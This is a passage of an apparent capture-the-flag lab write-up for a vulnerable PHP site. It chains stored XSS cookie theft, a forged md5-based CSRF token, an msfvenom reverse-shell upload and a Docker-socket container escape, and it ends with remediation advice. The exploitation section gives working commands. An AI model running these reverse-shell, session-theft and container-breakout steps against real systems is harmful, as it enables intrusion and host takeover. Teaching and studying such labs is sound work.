Protection: + 1. The promote_coadmin.php endpoint uses a permanent CSRF token structured as: + + ``` + md5(username) + ``` + + 2. Example observed request that will promote the corresponding username and csrf token associated with that username to admin. + + ``` + GET /promote_coadmin.php?username=mod&csrf_token_promote=ad148a3ca8bd0ef3b48c52454c493ec5 + ``` + + 3. This is not true CSRF protection, as it is deterministic, not random, not stored server-side, not session-bound, and doesn’t expire. As a result, anyone who can cause an admin to visit a crafted URL specifying their username and token can escalate privileges. +3. Insecure File Upload: + 1. The /finance.php panel allows file uploads without file extension validation, MIME type validation, disabling script execution, or storing uploads outside of the web root. This allows arbitrary server-side code execution, possibly leading to RCE. +4. Docker Socket Exposure: + 1. Inside the compromised container, /var/run/docker.sock was mounted and writable. Docker, as an app, exposes a control API through /var/run/docker.sock, which the Docker daemon listens to in order to create and manage containers. Because the Docker daemon runs as root on the host, any container with access to this socket can issue privileged commands. In practice, this means that the attacker can access and modify files on the host directly, completely bypassing container boundaries and escalating from container root to full host root access. + +## Exploitation + +1. XSS Attack: + 1. As mentioned earlier, [http://10.82.159.5](http://10.82.159.5/) does not set the HttpOnly flag; I thus attempt an XSS attack on [http://10.82.159.5/contact.php](http://10.82.159.5/contact.php) + 1. I first create an http server on the attack box as such: + + ```bash + $ python3 -m http.server + ``` + + 2. I enter the following JavaScript code into a Contact Us textbox and click send. After a few minutes, a simulated viewer visiting [http://10.82.159.5/contact.php](http://10.82.159.5/contact.php) will trigger an outbound HTTP request to the attacker’s box. + + ![Contact Us Textbox](Writeup-1/Contact-Us.png) + + 3. I receive a response: + + ```bash + $ python -m http.server 80 + Serving HTTP on 0.0.0.0 port 80 () ... + 10.82.84.83 - - [1/Feb/2026 21:28:09] "GET /test.js HTTP/1.1" 200 - + ``` + + 4. I then attempt to steal the visiting user’s PHPSESSID session cookie: + + ![XSS Attack](Writeup-1/XSS-Attack.png) + + 5. I receive a response: + + ```bash + python -m http.server 80 + Serving HTTP on 0.0.0.0 port 80 () ... + 10.82.84.83 - - [1/Feb/2026 21:31:23] "GET /?c=PHPSESSID%3Dv0b1fgg7is1vdis471mf17t6pd HTTP/1.1" 200 - + ``` + +2. CSRF Attack: + 1. I add what I just obtained as a value to my PHPSESSID cookie and refresh to find the **first flag** + + ![Session Hijacking](Writeup-1/Session-Hijacking.png) + + 2. I then notice that I am logged in as **mod**; I visit the chat.php page and notice that I have an active chat with the site’s **admin**. I send a random link to test if the admin successfully clicks on any link sent in the chat as such: + + ![Chat with Admin](Writeup-1/Chat-With-Admin.webp) + + 3. Soon, I get a response back to my web server: + + ```bash + python -m http.server 8000 + Serving HTTP on 0.0.0.0 port 8000 () ... + 10.82.84.83 - - [20/Sep/2025 21:48:10] "GET / HTTP/1.1" 200 - + ``` + + 4. I poke around the website and notice a page called promote_coadmin.php; however, I am unable to see any content on this page unless I am an admin. Looking at the burpsuite request, I notice the following CSRF token: + + ```html + GET /promote_coadmin.php?username=mod&csrf_token_promote=ad148a3ca8bd0ef3b48c52454c493ec5 + ``` + + 5. I use cyberchef to detect the hash type (md5) and attempt to crack the hash as follows: + + ```bash + $ hashcat hash.txt -m 0 /usr/share/wordlists/rockyou.txt + ad148a3ca8bd0ef3b48c52454c493ec5:mod + ``` + + 6. I then craft a fake csrf token: + + ```bash + echo -n "admin" | md5sum + 21232f297a57a5a743894a0e4a801fc3 + ``` + + 7. I then craft the following link and send it to the admin over the chat interface: [http://review.thm/promote_coadmin.php?username=mod&csrf_token_promote=21232f297a57a5a743894a0e4a801fc3](http://review.thm/promote_coadmin.php?username=mod&csrf_token_promote=21232f297a57a5a743894a0e4a801fc3); I set the username to my username, mod, and set the CSRF token to our created token. As per the name “promote_coadmin”, I am hoping that if the admin clicks on this link, I will be promoted to admin. I logout and login and find that I am successfully an admin; I then find the **second flag**. + + ![Privilege Escalation](Writeup-1/Privilege-Escalation.png) + +3. Gaining root access: + 1. Based on /mail.php, I know there are two websites, /finance.php and /lottery.php. After visiting /finance.php, I notice the following login functionality: + + ![finance.php webpage](Writeup-1/Finance-Webpage.webp) + + 2. Fortunately, the letter from /mail.php provides the password to login. After logging in, I notice upload functionality and attempt to exploit that to gain RCE. + 1. I use metasploit to create the following reverse shell listener : + + ```bash + $ msfconsole + use exploit/multi/handler + set PAYLOAD python/meterpreter/reverse_tcp + set LHOST 10.82.84.83 + set LPORT 4444 + exploit + ``` + + 2. I create and upload the following reverse shell exploit to /finance.php: + + ```bash + $ msfvenom -p python/meterpreter/reverse_tcp LHOST=10.82.84.83 LPORT=4444 -f raw > shell.py + ``` + + 3. Getting the connection back, I notice that I am stuck in a docker environment: + + ```bash + root@4f18a45cca05:/# id + uid=0(root) gid=0(root) groups=0(root) + ``` + + 4. I attempt to enumerate using [deepce.sh](http://deepce.sh/): + + ```bash + root@4f18a45cca05:~# ./deepce.sh + [+] Exploit Test ............ Exploitable - Check this out + [+] Sock is writable ........ Yes + [+] Docker sock mounted ....... Yes + ``` + + 5. Noticing that the docker sock is mounted, I find the following website that helps me exploit this vulnerability, https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html#mounted-docker-socket-escape, and complete the following steps. I then find the **third and final flag**. + + ```bash + #List images to use one + docker images + ... + phpvulnerable + ... + + #Run the vulnerable image mounting the host disk and chroot on it + docker run -it -v /:/host/ phpvulnerable chroot /host/ bash + + # Get full access to the host via ns pid and nsenter cli + docker run -it --rm --pid=host --privileged phpvulnerable bash + nsenter --target 1 --mount --uts --ipc --net --pid -- bash + + # Now I've escaped + root@sequence:/# cd root/ + root@sequence:~# ls -la + total 68 + drwxr-x--- 12 root root 4096 Jun 4 11:58 . + drwxr-xr-x 19 root root 4096 Sep 21 19:43 .. + lrwxrwxrwx 1 root root 9 Feb 4 2024 .bash_history -> /dev/null + -rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc + drwxr-xr-x 3 root root 4096 Feb 2 2024 .cache + drwx------ 3 root root 4096 Feb 2 2024 .config + drwxr-xr-x 3 root root 4096 Nov 10 2021 .local + -rw------- 1 root root 131 Jun 4 10:18 .mysql_history + -rw-r--r-- 1 root root 161 Dec 5 2019 .profile + -rw-r--r-- 1 root root 66 Feb 1 2024 .selected_editor + drwx------ 2 root root 4096 Nov 10 2021 .ssh + drwxr-xr-x 2 root root 4096 Feb 2 2024 bin + -rw-r--r-- 1 root root 20 Jun 4 11:58 flag.txt + ``` + + +## Remediation + +1. Session Hijacking: + 1. **Issue:** `PHPSESSID` lacked `HttpOnly`, enabling cookie theft via XSS. + 2. **Fix:** + 1. Enable `HttpOnly`, `Secure`, and `SameSite=Strict` on session cookies. + 2. Enforce HTTPS site-wide. +2. Stored XSS (Contact Form): + 1. **Issue:** User input rendered without output encoding. + 2. **Fix:** + 1. Use proper output encoding (`htmlspecialchars()` in PHP). + 2. Implement a strict Content Security Policy (CSP). + 3. Validate and sanitize user input. +3. Broken CSRF Protection (Predictable Token): + 1. **Issue:** CSRF token was `md5(username)` — deterministic and guessable. + 2. **Fix:** + 1. Generate cryptographically secure, random, per-session tokens. + 2. Use POST for state-changing actions. +4. Insecure File Upload → RCE: + 1. **Issue:** Arbitrary file upload allowed execution of malicious payload. + 2. **Fix:** + 1. Whitelist allowed file types and validate MIME types. + 2. Store uploads outside web root. + 3. Disable execution permissions in upload directories. +5. Docker Socket Exposure → Container Escape: + 1. **Issue:** Docker socket mounted inside container allowed host takeover. + 2. **Fix:** + 1. Never mount `/var/run/docker.sock` into containers. + 2. Avoid running containers as root. + 3. Use minimal privileges and seccomp/AppArmor profiles.